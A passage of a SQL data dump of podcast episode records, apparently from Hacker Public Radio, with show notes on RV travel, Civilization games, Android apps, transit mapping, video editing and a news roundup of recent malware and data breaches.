(3830,'2023-04-07','Into New Mexico',856,'We move to another state, New Mexico.','<p>We made a change in our itinerary and instead of going up into the\nmountains of New Mexico we went down to the area of the border of\nMexico. Our first stop was in Deming, NM for a few days, the on to\nAnthony, NM for a longer stay of nearly three weeks. Anthony is located\nbetween Las Cruces, NM, and El Paso, Texas, so it was a convenient\nlocation for visiting both of the places, and we did so. In hindsight,\nwe liked Las Cruces and the New Mexico part a lot better than El\nPaso.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjzKYwL\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKYwL</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL1pH\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL1pH</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKYwM\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKYwM</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKZcd\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKZcd</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKYVh\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKYVh</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL1F8\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL1F8</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzKZLE\"\nclass=\"uri\">https://flic.kr/s/aHBqjzKZLE</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL6F3\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL6F3</a></li>\n<li><a href=\"https://www.palain.com/travel/into-new-mexico/\"\nclass=\"uri\">https://www.palain.com/travel/into-new-mexico/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, New Mexico, Deming, Anthony, Las Cruces, El Paso',0,0,1),
(3840,'2023-04-21','Playing the Original Civilization',899,'Hints on playing the game that started it all','<p>This game is pretty old, but I found that wen I started a game\nrecently to prepare for this episode that it was still as addictive as\never. I won\'t claim it is essential for everyone to run out and get it,\nbut if you did happen to find a copy somewhere and play it, you might\nfind you enjoy it. In this episode I give a few hints about getting\nstarted with this game.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a\nhref=\"https://civilization.fandom.com/wiki/Help_with_playing_Civ1#Choice_of_initial_city_site\"\nclass=\"uri\">https://civilization.fandom.com/wiki/Help_with_playing_Civ1#Choice_of_initial_city_site</a></li>\n<li><a\nhref=\"https://www.palain.com/gaming/sid-meiers-civilization/playing-the-original-civilization-hints/\"\nclass=\"uri\">https://www.palain.com/gaming/sid-meiers-civilization/playing-the-original-civilization-hints/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA','Computer games, strategy games, Civilization',0,0,1),
(3850,'2023-05-05','New Mexico 2',822,'We finish our stay in New Mexico and head to Presidio, Texas.','<p>We finished our stay in Anthony with a Saturday trip into Las Cruces\nto see the local market and the museums, more hiking, and a trip to see\nNative American Petroglyphs. We also went into El Paso to check out the\nzoo. It was fine, but we confirmed that we don\'t really like going into\nEl Paso. We are not much on driving in big cities any longer,\nparticularly in a big truck. Then it was time to move on to our next\nstop, Presidio, Texas. This is so close to the border that a 5 minute\nwalk takes you to the Rio Grande.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjzL5vB\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL5vB</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL5VY\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL5VY</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL7XD\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL7XD</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL9jQ\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL9jQ</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzL8cZ\"\nclass=\"uri\">https://flic.kr/s/aHBqjzL8cZ</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzLc5f\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLc5f</a></li>\n<li><a href=\"https://www.palain.com/travel/new-mexico-2/\"\nclass=\"uri\">https://www.palain.com/travel/new-mexico-2/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, New Mexico, Anthony, Las Cruces, El Paso, Presidio',0,0,1),
(3860,'2023-05-19','Civilization II',923,'The game I spent the most time on: Civilization II','<p>This game is not quite as old, and it did make some changes. But the\nsame \"One-more-turn\" addictiveness is still there. I can\'t tell you many\ntimes I started a game, and the next thing I knew the Sun was coming up\noutside my window. I\'m too old to do that any more, but if I start\nanother game of Civ II I will be right back in it.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://playclassic.games/?s=Civilization+II\"\nclass=\"uri\">https://playclassic.games/?s=Civilization+II</a></li>\n<li><a href=\"https://www.myabandonware.com/browse/name/C/page/38/\"\nclass=\"uri\">https://www.myabandonware.com/browse/name/C/page/38/</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=sHfk5VhAvWU\"\nclass=\"uri\">https://www.youtube.com/watch?v=sHfk5VhAvWU</a></li>\n<li><a href=\"http://www.replacementdocs.com/download.php?view.365\"\nclass=\"uri\">http://www.replacementdocs.com/download.php?view.365</a></li>\n<li><a href=\"https://sleague.civfanatics.com/index.php?title=Main_Page\"\nclass=\"uri\">https://sleague.civfanatics.com/index.php?title=Main_Page</a></li>\n<li><a\nhref=\"https://www.mobygames.com/game/windows/civilization-ii-test-of-time\"\nclass=\"uri\">https://www.mobygames.com/game/windows/civilization-ii-test-of-time</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=Ysk4o1zKsuE&amp;t=5s\"\nclass=\"uri\">https://www.youtube.com/watch?v=Ysk4o1zKsuE&amp;t=5s</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=9XokQ-VDd88\"\nclass=\"uri\">https://www.youtube.com/watch?v=9XokQ-VDd88</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=owt0CR9YHiA&amp;t\"\nclass=\"uri\">https://www.youtube.com/watch?v=owt0CR9YHiA&amp;t</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=pbGJrUTBHAY\"\nclass=\"uri\">https://www.youtube.com/watch?v=pbGJrUTBHAY</a></li>\n<li><a href=\"https://www.youtube.com/watch?v=yKs9Mtu_Fn4\"\nclass=\"uri\">https://www.youtube.com/watch?v=yKs9Mtu_Fn4</a></li>\n<li><a href=\"https://www.palain.com/gaming/civilization-ii/\"\nclass=\"uri\">https://www.palain.com/gaming/civilization-ii/</a></li>\n</ul>\n',198,122,0,'CC-BY-SA','Computer games, strategy games, Civilization II',0,0,1),
(3870,'2023-06-02','Texas',765,'We wrap up our trip in Texas before heading back home to Michigan','<p>Our stay in Presidio was a nice one, and we enjoyed the companionship\nat the RV park. This gave us access to the Big Bend Ranch State Park,\nand we had a few good outings there. But we wanted to visit the Big Bend\nNational Park, which was not as reachable as we would like, so we booked\na few days in Alpine, Texas. This turned out to be fortuitous for an\nimportant repair. And after seeing the National Park it was time to head\nback to Michigan. We had a long but very nice trip, but as always at the\nend of a trip we look forward to being back in our home and sleeping in\nour bed.</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a href=\"https://flic.kr/s/aHBqjzLaJR\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLaJR</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzLbSF\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLbSF</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzLeL8\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLeL8</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzLexu\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLexu</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzLfXK\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLfXK</a></li>\n<li><a href=\"https://flic.kr/s/aHBqjzLeLR\"\nclass=\"uri\">https://flic.kr/s/aHBqjzLeLR</a></li>\n<li><a href=\"https://www.palain.com/travel/texas/\"\nclass=\"uri\">https://www.palain.com/travel/texas/</a></li>\n</ul>\n',198,119,0,'CC-BY-SA','Travel, RV life, Texas, Presidio, Alpine',0,0,1),
(3711,'2022-10-24','Cars',2042,'A short review of Cars today','<h2 id=\"car-company\">Car company</h2>\n<ul>\n<li><p>A:<br />\n<a href=\"https://www.ford.com/\"\nclass=\"uri\">https://www.ford.com/</a></p></li>\n<li><p>B:<br />\n<a href=\"https://www.chevrolet.com/\"\nclass=\"uri\">https://www.chevrolet.com/</a></p></li>\n<li><p>C:<br />\n<a href=\"https://www.dodge.com/\"\nclass=\"uri\">https://www.dodge.com/</a></p></li>\n<li><p>D:<br />\n<a href=\"https://www.chrysler.com/#\"\nclass=\"uri\">https://www.chrysler.com/#</a></p></li>\n<li><p>E:<br />\n<a href=\"https://www.buick.com/\"\nclass=\"uri\">https://www.buick.com/</a></p></li>\n<li><p>F:<br />\n<a href=\"https://www.cadillac.com/\"\nclass=\"uri\">https://www.cadillac.com/</a></p></li>\n<li><p>G:<br />\n<a href=\"https://www.lincoln.com/\"\nclass=\"uri\">https://www.lincoln.com/</a></p></li>\n<li><p>H:<br />\n<a href=\"https://www.toyota.com/\"\nclass=\"uri\">https://www.toyota.com/</a></p></li>\n<li><p>I:<br />\n<a href=\"https://www.nissanusa.com/\"\nclass=\"uri\">https://www.nissanusa.com/</a></p></li>\n<li><p>J:<br />\n<a href=\"https://automobiles.honda.com/\"\nclass=\"uri\">https://automobiles.honda.com/</a></p></li>\n<li><p>K:<br />\n<a\nhref=\"https://www.nytimes.com/2003/08/31/us/cries-of-activism-and-terrorism-in-suv-torching.html\"\nclass=\"uri\">https://www.nytimes.com/2003/08/31/us/cries-of-activism-and-terrorism-in-suv-torching.html</a></p></li>\n<li><p>L:<br />\n<a\nhref=\"https://www.autoweek.com/news/technology/a36189339/solid-state-batteries/\"\nclass=\"uri\">https://www.autoweek.com/news/technology/a36189339/solid-state-batteries/</a>\n<a\nhref=\"https://www.washingtonpost.com/technology/2022/05/18/solid-state-batteries-electric-vehicles-race/\"\nclass=\"uri\">https://www.washingtonpost.com/technology/2022/05/18/solid-state-batteries-electric-vehicles-race/</a></p></li>\n</ul>\n',377,0,0,'CC-BY-SA','Cars, EV\'s, Terrorists, Hydrogen, Fusion, Power Systems',0,0,1),
(3712,'2022-10-25','The last ever CCHits.net Show',5756,'The team talk about the nearly 12 years of producing CCHits.net.','<p>Over 12 years ago, <a href=\"https://jon.sprig.gs\">Jon \"The Nice Guy\"\nSpriggs</a> went to a \"Pod Crawl\" with (among others) <a\nhref=\"https://thelovebug.org/\">Dave \"The Love Bug\" Lee</a>, where he\npitched the idea of a daily music promotion show, with a twist - it\nwould all be automated, and use text-to-speech to introduce\neverything.</p>\n<p>The <a href=\"https://cchits.net/show/1\">first show</a> was released\non 2010-10-24 and the last ever show (this one) was released on\n2022-10-12.</p>\n<p>Over the twelve years, Jon would go on to meet to meet <a\nhref=\"https://twitter.com/frenchguych\">Yannick</a> and Ken Fallon, both\nof whom would go on to shape changes (big and small) to CCHits.</p>\n<p>This year, the cracks started to re-appear in the architecture\nunderneath CCHits - between APIs shutting down that were used to load\ntracks to CCHits, and the general framework being used to write CCHits\nnot receiving the care and attention it needed... and the team finally\ndecided to stop adding new tracks, and let the process build the last\nfew shows.</p>\n<p>This podcast gives you a peek behind the curtain to the team involved\nin the system, and gives you some of the high- and low-lights in the 12\nyears the site ran for.</p>\n',413,0,0,'CC-BY','music,creative commons,podcast',0,0,1),
(3724,'2022-11-10','My top Android apps',579,'I walk through the top apps on my phone','<h3 id=\"my-most-used-apps\">My most used apps</h3>\n<h3 id=\"aio-launcher\">AIO Launcher</h3>\n<ul>\n<!-- <li><a href=\"%5B%5D(https://aiolauncher.app%20%22AIO%20Launcher%22)\">AIO Launcher</a></li> -->\n<li><a href=\"https://aiolauncher.app\" title=\"AIO Launcher\">AIO Launcher</a></li>\n</ul>\n<p><img src=\"https://hackerpublicradio.org/eps/hpr3724/main_sm.png\"\ntitle=\"Main screen\" alt=\"Main screen\" /></p>\n<p><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3724/quick_launch_sm.png\"\ntitle=\"Quick Launch screen\" alt=\"Quick Launch screen\" /></p>\n<p><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3724/side_panel_sm.png\"\ntitle=\"Side panel screen\" alt=\"Side panel screen\" /></p>\n<h4 id=\"termux-terminal-emulator-with-packages\">Termux: Terminal\nemulator with packages</h4>\n<ul>\n<li><p><a href=\"https://f-droid.org/en/packages/com.termux\"\ntitle=\"Termux: Terminal emulator with packages\">Termux: Terminal\nemulator with packages</a></p></li>\n<li><p>Connect to the home network</p>\n<ul>\n<li>Start a video encoding, or rip a DVD</li>\n</ul></li>\n<li><p>Vim editor</p></li>\n<li><p>Secure files</p>\n<ul>\n<li>pwgen -y 30 3: Generate three 30 character passwords with\nsymbols</li>\n<li>Other confidential info\n<ul>\n<li>hpr3484 :: My vim setup with GnuPG\n<ul>\n<li><a href=\"https://www.hackerpublicradio.org/eps.php?id=3484\"\ntitle=\"My vim setup with GnuPG\">My vim setup with GnuPG</a></li>\n</ul></li>\n</ul></li>\n</ul></li>\n</ul>\n<h4 id=\"qksms-messaging\">QKSMS Messaging</h4>\n<ul>\n<li><p><a href=\"https://f-droid.org/en/packages/com.moez.QKSMS\"\ntitle=\"QKSMS Messaging: F-droid\">QKSMS Messaging: F-droid</a></p></li>\n<li><p><a href=\"https://github.com/moezbhatti/qksms\"\ntitle=\"QKSMS Messaging: Github\">QKSMS Messaging: Github</a></p></li>\n</ul>\n<h4 id=\"firefox-browser\">Firefox browser</h4>\n<ul>\n<li><a\nhref=\"https://play.google.com/store/apps/details?id=org.mozilla.firefox\"\ntitle=\"Firefox browser\">Firefox browser</a></li>\n</ul>\n<h4 id=\"opera-browser\">Opera browser</h4>\n<ul>\n<li><a\nhref=\"https://play.google.com/store/apps/details?id=com.opera.browser\"\ntitle=\"Opera browser\">Opera browser</a></li>\n</ul>\n<h4 id=\"brave-browser\">Brave browser</h4>\n<ul>\n<li><a\nhref=\"https://play.google.com/store/apps/details?id=com.brave.browser\"\ntitle=\"Brave browser\">Brave browser</a></li>\n</ul>\n<h4 id=\"clear-scanner-pdf-scanner-and-ocr\">Clear Scanner PDF scanner and\nOCR</h4>\n<ul>\n<li><p><a href=\"https://indymobileapp.com\"\ntitle=\"Clear Scanner PDF scanner and OCR\">Clear Scanner PDF scanner and\nOCR</a></p>\n<ul>\n<li>OCR: Optical character recognition</li>\n<li>Multiple folders</li>\n<li>Donation option</li>\n</ul></li>\n</ul>\n<h4 id=\"antennapod\">Antennapod</h4>\n<ul>\n<li><a href=\"https://f-droid.org/en/packages/de.danoeh.antennapod\"\ntitle=\"Antennapod\">Antennapod</a></li>\n</ul>\n<h4 id=\"tusky\">Tusky</h4>\n<ul>\n<li><a href=\"https://f-droid.org/en/packages/com.keylesspalace.tusky\"\ntitle=\"Tusky for Mastodon\">Tusky for Mastodon</a></li>\n</ul>\n<h4 id=\"k-9-mail-client\">K-9 mail client</h4>\n<ul>\n<li><a href=\"https://f-droid.org/en/packages/com.fsck.k9/\"\ntitle=\"K-9 mail client\">K-9 mail client</a></li>\n</ul>\n<h4 id=\"viber\">Viber</h4>\n<ul>\n<li><p><a href=\"https://www.viber.com/en/download\"\ntitle=\"Viber\">Viber</a></p>\n<ul>\n<li>Android and Fedora/Ubuntu desktop app</li>\n<li>App image</li>\n</ul></li>\n</ul>\n<h4 id=\"audio-recorder\">Audio recorder</h4>\n<ul>\n<li><p><a\nhref=\"https://f-droid.org/en/packages/com.github.axet.audiorecorder\"\ntitle=\"Audio recorder: F-droid\">Audio recorder: F-droid</a></p></li>\n<li><p><a href=\"https://gitlab.com/axet/android-audio-recorder\"\ntitle=\"Audio recorder: F-droid\">Audio recorder: Gitlab</a></p></li>\n</ul>\n<h4 id=\"x-plore-dual-pane-file-manager\">X-plore dual-pane file\nmanager</h4>\n<ul>\n<li><a\nhref=\"https://play.google.com/store/apps/details?id=com.lonelycatgames.Xplore&amp;gl=US\"\ntitle=\"X-plore dual-pane file manager\">X-plore dual-pane file\nmanager</a></li>\n</ul>\n<h4 id=\"librera-e-book-reader-for-pdf-epub\">Librera E-book Reader: for\nPDF, EPUB</h4>\n<ul>\n<li><p><a\nhref=\"https://play.google.com/store/apps/details?id=com.foobnix.pdf.reader&amp;gl=US\"\ntitle=\"Librera E-book Reader\">Librera E-book Reader</a></p>\n<ul>\n<li><strong>Books</strong>\n<ul>\n<li><p>Star Wars: Dark Tide I: Onslaught</p>\n<p><em>The New Jedi Order #2</em></p>\n<ul>\n<li><a\nhref=\"https://openlibrary.org/books/OL9433767M/Star_Wars_Dark_Tide_I_Onslaught\"\ntitle=\"Star Wars Dark Tide I: Onslaught e-book\">Star Wars Dark Tide I:\nOnslaught</a></li>\n</ul></li>\n<li><p>Boba Fett: A Practical Man</p>\n<ul>\n<li><a\nhref=\"https://starwars.fandom.com/wiki/Boba_Fett:_A_Practical_Man\"\ntitle=\"Boba Fett: A Practical Man\">Boba Fett: A Practical Man</a></li>\n</ul></li>\n</ul></li>\n</ul></li>\n</ul>\n<h4 id=\"multi-timer\">Multi Timer</h4>\n<ul>\n<li><a\nhref=\"https://play.google.com/store/apps/details?id=org.catfantom.multitimer\"\ntitle=\"Multi Timer\">Multi Timer</a></li>\n</ul>\n<p>US Amateur Radio Band Plan</p>\n<ul>\n<li><p><a\nhref=\"https://play.google.com/store/apps/details?id=com.kimbrelk.ham&amp;gl=US\"\ntitle=\"US Amateur Radio Band Plan\">US Amateur Radio Band Plan</a></p>\n<ul>\n<li>Quick reference of band and privilege restrictions</li>\n</ul></li>\n</ul>\n',318,0,0,'CC-BY-SA','Android, Android apps, Mobile phone, Custom launcher',0,0,1),
(3725,'2022-11-11','How to use OSMAnd with Public Transport ',124,'Ken shows you how to use this mapping tool to display transit routes in your area.','<p>\r\n<a href=\"/eps/hpr3725/01.jpeg\"><img src=\"/eps/hpr3725/01.jpeg\" alt=\"\" /></a><br />\r\nMap of Dublin showing the Temple Bar tourist area. A red arrow points to where you can change the profile.\r\n</p>\r\n<p>\r\n<a href=\"/eps/hpr3725/02.jpeg\"><img src=\"/eps/hpr3725/02.jpeg\" alt=\"\" /></a><br />\r\nWith the Configure Map > Profile selection menu open, a red square surrounds the Bus icon to indicate the \"public transport\" profile is now selected.\r\n</p>\r\n<p>\r\n<a href=\"/eps/hpr3725/03.jpeg\"><img src=\"/eps/hpr3725/03.jpeg\" alt=\"\" /></a><br />\r\nThe map now opens to show more information about public transport is now displayed on the map. This is highlighted with a red square.<br />\r\nClicking the bustop (highlighted with a red circle ) will show more information about the routes available at this location.\r\n</p>\r\n<p>\r\n<a href=\"/eps/hpr3725/04.jpeg\"><img src=\"/eps/hpr3725/04.jpeg\" alt=\"\" /></a><br />\r\nOnce the transport stop is selected, a list of all the routes that service this location are displayed. Along with other routes that are available within a short distance.\r\n</p>\r\n<p>\r\n<a href=\"/eps/hpr3725/05.jpeg\"><img src=\"/eps/hpr3725/05.jpeg\" alt=\"\" /></a><br />\r\nClicking any of the routes numbers/names will give a zoomed out map showing in red the route many of the stops towards it\'s source and destination.\r\n</p>\r\n',30,0,0,'CC-BY-SA','OSMAnd, OSM, Maps, Public Transport',0,0,1),
(4001,'2023-12-04','HPR Community News for November 2023',0,'HPR Volunteers talk about shows released and comments posted in November 2023','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3714,'2022-10-27','The News with Some Guy On the Internet',609,'Threat Analysis','<h1 id=\"threat-analysis-your-attack-surface\">Threat Analysis; your\nattack surface.</h1>\n<h2 id=\"the-hacker-news\">The Hacker News</h2>\n<h3\nid=\"new-chinese-malware-attack-framework-targets-windows-macos-and-linux-systems\">New\nChinese Malware Attack Framework Targets Windows, macOS, and Linux\nSystems.</h3>\n<p>A previously undocumented command-and-control (C2) framework dubbed\nAlchimist is likely being used in the wild to target Windows, macOS, and\nLinux systems.</p>\n<p>\"Alchimist C2 has a web interface written in Simplified Chinese and\ncan generate a configured payload, establish remote sessions, deploy\npayloads to the remote machines, capture screenshots, perform remote\nshellcode execution, and run arbitrary commands,\" Cisco Talos said in a\nreport shared with The Hacker News. Written in GoLang, Alchimist is\ncomplemented by a beacon implant called Insekt, which comes with remote\naccess features that can be instrumented by the C2 server.&#x201D;</p>\n<p>\"Since Alchimist is a single-file based ready-to-go C2 framework, it\nis difficult to attribute its use to a single actor such as the authors,\nAPTs, or crimeware syndicates.\"</p>\n<p>The trojan, for its part, is equipped with features typically present\nin backdoors of this kind, enabling the malware to get system\ninformation, capture screenshots, run arbitrary commands, and download\nremote files, among others.</p>\n<p>Alchimist C2 panel further features the ability to generate first\nstage payloads, including PowerShell and wget code snippets for Windows\nand Linux, potentially allowing an attacker to flesh out their infection\nchains to distribute the Insekt RAT binary. The instructions could then\nbe potentially embedded in a maldoc attached to a phishing email that,\nwhen opened, downloads and launches the backdoor on the compromised\nmachine. What\'s more, the Linux version of Insekt is capable of listing\nthe contents of the \".ssh\" directory and even adding new SSH keys to the\n\"~/.ssh/authorized_keys\" file to facilitate remote access over SSH.</p>\n<h2 id=\"the-hacker-news-1\">The Hacker News</h2>\n<h3\nid=\"hackers-using-vishing-to-trick-victims-into-installing-android-banking-malware\">Hackers\nUsing Vishing to Trick Victims into Installing Android Banking\nMalware.</h3>\n<p>Malicious actors are resorting to voice phishing (vishing) tactics to\ndupe victims into installing Android malware on their devices.</p>\n<p>The Dutch mobile security company said it identified a network of\nphishing websites targeting Italian online-banking users that are\ndesigned to get hold of their contact details.</p>\n<p>Telephone-oriented attack delivery (TOAD), as the social engineering\ntechnique is called, involves calling the victims using previously\ncollected information from the fraudulent websites.</p>\n<p>The caller, who purports to be a support agent for the bank,\ninstructs the individual on the other end of the call to install a\nsecurity app and grant it extensive permissions, when, in reality, it\'s\nmalicious software intended to gain remote access or conduct financial\nfraud.</p>\n<p>What\'s more, the infrastructure utilized by the threat actor has been\nfound to deliver a second malware named SMS Spy that enables the\nadversary to gain access to all incoming SMS messages and intercept\none-time passwords (OTPs) sent by banks.</p>\n<p>The new wave of hybrid fraud attacks presents a new dimension for\nscammers to mount convincing Android malware campaigns that have\notherwise relied on traditional methods such as Google Play Store\ndroppers, rogue ads, and smishing.</p>\n<h2 id=\"the-hacker-news-2\">The Hacker News</h2>\n<h3\nid=\"64000-additional-patients-impacted-by-omnicell-data-breach---what-is-your-data-breach-action-plan\">64,000\nAdditional Patients Impacted by Omnicell Data Breach - What is Your Data\nBreach Action Plan?</h3>\n<p>Founded in 1992, Omnicell is a leading provider of medication\nmanagement solutions for hospitals, long-term care facilities, and\nretail pharmacies. On May 4, 2022, Omnicell\'s IT systems and third-party\ncloud services were affected by ransomware attacks which may lead to\ndata security concerns for employees and patients. While it is still\nearly in the investigation, this appears to be a severe breach with\npotentially significant consequences for the company.</p>\n<p>Omnicell began informing individuals whose information may have been\ncompromised on August 3, 2022. Hackers may be able to access and sell\npatient-sensitive information, such as social security numbers, due to\nthe time delay between the breach and the company\'s report of affected\npatients.</p>\n<p>The type of information that may be exposed are:</p>\n<ul>\n<li>Credit card information.</li>\n<li>Financial information.</li>\n<li>Social security numbers.</li>\n<li>Driver\'s license numbers.</li>\n<li>Health insurance details.</li>\n</ul>\n<p>The healthcare industry is one of the most targeted sectors globally,\nwith attacks doubling year over year. And these costs are measured in\nmillions or even billions of dollars - not to mention increased risks\nfor patients\' privacy (and reputation).</p>\n<h2 id=\"the-washington-post\">The Washington Post</h2>\n<h3 id=\"how-to-protect-schools-getting-whacked-by-ransomware\">How to\nprotect schools getting whacked by ransomware.</h3>\n<p>Ransomware gangs are taking Americans to school. So far this year,\nhackers have taken hostage at least 1,735 schools in 27 districts; the\nmassive Los Angeles Unified School District is their latest target.</p>\n<p>Ransomware hackers breach computers, lock them up, steal sensitive\ndata and demand money to release their hold on organizations&#x2019; critical\nsystems. These criminals often attack schools because they are\nprofitable targets. If all ransomware victims refused to pay, the\nattacks would stop. Indeed, paying up might be illegal: The <a\nhref=\"https://home.treasury.gov/news/press-releases/jy0364\">Treasury\nDepartment released guidance</a> last year noting that giving money to\nglobal criminal organizations can violate sanctions law.</p>\n<p>The trouble is, saying no isn&#x2019;t always easy. Los Angeles didn&#x2019;t\ncapitulate, and the criminals leaked a trove of data &#x2014; a consequence\nthat can prove more or less serious depending on the sensitivity of the\nstolen information.</p>\n<p>&#x201C;Because we can,&#x201D; said a representative of the ransomware gang that\ntook down Los Angeles Unified School District, explaining the\ncollective&#x2019;s motivations to a Bloomberg News reporter. Schools&#x2019; task is\nto turn &#x201C;can&#x201D; to &#x201C;can&#x2019;t&#x201D; &#x2014; or, at least, to make success pay a whole lot\nless.</p>\n<h2 id=\"cnet-news\">CNET News.</h2>\n<h3\nid=\"verizon-alerts-prepaid-customers-to-recent-security-breach\">Verizon\nAlerts Prepaid Customers to Recent Security Breach.</h3>\n<p>Verizon notified prepaid customers this week of a recent cyberattack\nthat granted third-party actors access to their accounts, as reported\nearlier Tuesday by BleepingComputer. The attack occurred between Oct. 6\nand Oct. 10 and affected 250 Verizon prepaid customers.</p>\n<p>The breach exposed the last four digits of customers\' credit cards\nused to make payments on their prepaid accounts. While no full credit\ncard information was accessible, the information was enough to grant the\nattackers access to Verizon user accounts, which hold semi-sensitive\ndata such \"name, telephone number, billing address, price plans, and\nother service-related information,\" per a notice from Verizon.</p>\n<p>Account access also potentially enabled attackers to process\nunauthorized SIM card changes on prepaid lines. Also known as SIM\nswapping, unauthorized SIM card changes can allow for the transfer of an\nunsuspecting person\'s phone number to another phone.</p>\n<p>From there, the counterfeit phone can be used to receive SMS messages\nfor password resets and user identification verifications on other\naccounts, giving attackers potential access to any account they have, or\ncan guess, the username for. Consequently, Verizon recommended affected\ncustomers secure their non-Verizon accounts such as social media,\nfinancial, email and other accounts that allow for password resets by\nphone.</p>\n',391,0,0,'CC-BY-SA','Threat Analysis, Security Breach, Ransomware, Data Breach, TOAD',0,0,1),
(3717,'2022-11-01','Video editing with Shotcut on a low end PC',695,'In this episode I explain how I use the shotcut video editor to edit video on a low end PC.','<h2 id=\"links\">Links</h2>\n<p><a href=\"https://shotcut.org/\">Shotcut video editor website</a></p>\n<h2 id=\"useful-shortcut-keys-for-the-shotcut-video-editor\">Useful\nShortcut keys for the Shotcut video editor</h2>\n<pre><code>C = copy\nV = paste\nA = duplicate\nX = ripple delete\nCtrl + X = ripple delete but send to clipboard\nS = split</code></pre>\n<h2 id=\"tip-not-covered-in-my-podcast\">Tip not covered in my\nPodcast</h2>\n<p>Splits are not fixed and can be adjusted. Once you\'ve split up clips\nand put them in the right order on the timeline you can still adjust the\ncut point even though you previously split the clip because the clip is\nreferenced to the original file in the playlist.</p>\n<h2 id=\"introduction\">Introduction</h2>\n<p>Hello and welcome Hacker Public Radio audience my name is Mr X\nwelcome to this podcast. As per usual I\'d like to start by thanking the\npeople at HPR for making this podcast possible. HPR is a Community led\npodcast provided by the community for the community that means you can\ncontribute to. The HPR team have gone to great deal of effort to\nsimplify and streamline the process of providing podcasts. There are\nmany ways to record an episode these days using phones tablets PCs and\nalike. The hardest barrier is sending in your first show. Don\'t get too\nhung up about quality, it\'s more important just to send something in.\nThe sound quality of some of my early shows wasn\'t very good. If I can\ndo it anyone can and you might just get hooked in the process.</p>\n<p>Well it\'s been almost a year since I\'ve sent in a show. Looking at\nthe HPR site my last episode was back in November 2021. I suspect like\nmany others life has become more complicated and I find I have much less\nspare time and because I have much less spare time I have much less time\nto pursue my hobbies and because of this I have less to speak about and\nbecause of this I have less time to record what I\'ve been doing and it\nall turns into to vicious circle. Fortunately I recently had some time\noff work and had a lovely holiday. During the holiday I ended up\nrecording some video which I decided I wanted to edit. I\'ve done some\nvideo editing in the past using various video editing packages. The best\nand most recent of which is shotcut.</p>\n<h2 id=\"specific-details-and-equipment\">Specific details and\nequipment</h2>\n<p>Video resolution 1920 x 1080, Codec h264 mpeg-4, Frame rate 30 frames\nper second.</p>\n<p>Computer Dell Optiplex 780. Fitted with 4 GB of internal RAM and\nonboard video graphics card.</p>\n<p>Shotcut version 22.06.23 Shotcut is a free open-source cross-platform\nvideo editor licenced under the GNU general public licence version\n3.0</p>\n<p>This episode will only cover basic shotcut video editing techniques.\nShotcut contains many advanced features and effects that will not be\ncovered in this episode. A lot of the workflow I&#x2019;ll share with you today\nis intended to get around limitations imposed by my low spec PC</p>\n<p>I\'ll try my best to cover the video editing process in this podcast\nusing words alone; however I am conscious that an accompanying video\nwould make it easier to follow along.</p>\n<h2 id=\"shotcut-workflow\">Shotcut workflow</h2>\n<p>Start by creating a folder to hold all the required media files.\nAudio tracks and sound effects can be added to this folder later. Make\nsure all your video files are using the same frame rate in my case 30\nframes per second.</p>\n<p>Open each video file in VLC one at a time going through each video\nfile looking for the best portions of video. Make a note of where the\nbest portions of the video are by writing down the start and end points\nin minutes and seconds.</p>\n<p>I do this because the interface of VLC is more responsive than\nshortcut and the resolution of displayed video is far greater than the\npreview in shortcut. This makes it quicker and easier to find the best\nportions of video.</p>\n<p>Open shortcut and make sure the new project is set to the same frames\nper second as the media files you\'re working with, in my case 30 frames\nper second. You can check the frame rate of your project by looking at\nthe selected video mode in the new projects window. If you select\nautomatic it will ensure the project resolution and frame rate\nautomatically match that of your media files.</p>\n<p>Start by adding all the video files to the playlist, this can be done\nin a number of ways for example it can be done by clicking on the open\nfile button in the top toolbar or within the open files menu.\nAlternatively you can drag and drop files into the playlist. I find this\nto be the easiest way to add media files to a project. Once this is done\nsave your 